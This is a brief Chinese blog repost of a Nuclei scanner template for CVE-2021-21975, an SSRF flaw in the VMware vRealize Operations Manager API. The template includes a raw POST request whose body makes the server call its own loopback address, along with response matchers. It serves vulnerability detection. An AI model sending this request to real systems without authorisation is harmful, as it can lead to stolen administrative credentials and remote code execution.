CVE-2021-21975 SSRF

  • A+
所属分类:安全文章


id: CVE-2021-21975
info: name: vRealize Operations Manager API SSRF (VMWare Operations) author: luci severity: critical description: A malicious actor with network access to the vRealize Operations Manager API can perform a Server Side Request Forgery attack to steal administrative credentials or trigger Remote Code Execution using CVE-2021-21983. tags: cve,cve2021,ssrf,vmware reference: https://www.vmware.com/security/advisories/VMSA-2021-0004.html
requests: - raw: - | POST /casa/nodes/thumbprints HTTP/1.1 Host: {{Hostname}} Content-Type: application/json;charset=UTF-8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) ["127.0.0.1:443/ui/"] matchers-condition: and matchers: - type: word words: - "vRealize Operations Manager" part: body - type: status status: - 200



https://github.com/projectdiscovery/nuclei-templates/blob/master/cves/2021/CVE-2021-21975.yaml

本文始发于微信公众号(Khan安全攻防实验室):CVE-2021-21975 SSRF

发表评论